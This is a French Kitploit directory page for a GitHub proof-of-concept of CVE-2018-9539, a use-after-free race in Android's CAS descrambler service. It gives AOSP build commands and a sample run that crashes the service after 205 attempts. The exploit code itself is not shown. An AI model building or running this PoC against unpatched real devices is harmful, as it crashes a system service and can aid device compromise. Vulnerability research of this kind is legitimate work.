Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-9539 — Code PoC pour CVE-2018-9539 | Kitploit
Outils/GitHubGitHub/tamirzb/cve-2018-9539
Sécurité AndroidAnalyse des VulnérabilitésExploitationSécurité MobileExploitation de Binaires
GitHubtamirzb/cve-2018-9539

CVE-2018-9539

Code PoC pour CVE-2018-9539

Voir le dépôt
209il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-9539

Code de preuve de concept pour CVE-2018-9539

Si vous avez des questions, n'hésitez pas à m'envoyer un message direct sur Twitter (@tamir_zb).

Compilation

Pour compiler ce projet :

  1. Téléchargez le code source d'Android.
  2. Placez ce dépôt dans AOSP/external.
  3. Exécutez les commandes suivantes :
root@kitploit:~
cd AOSP
source build/envsetup.sh
make cas_race_uaf

Résultat

Exécuter ce PoC contre une version non corrigée d'Android (8.1 à 9.0 avant novembre 2018) devrait provoquer une use-after-free. Notez que ce PoC n'est pas vraiment destiné à fonctionner sur Android 8.1, car il s'attend à ce que l'UaF fasse planter le service, ce qui ne se produit que sur Android 9.0 ; exécuter ce PoC sur Android 8.1 entraînera donc une boucle infinie.

Voici un exemple de sortie de l'exécution de ce PoC sur Android 9.0 :

root@kitploit:~
Objects prepared

Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...

Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...

...
...
...

Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...

Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)

Succeeded in 205 attempts
Télécharger l’outil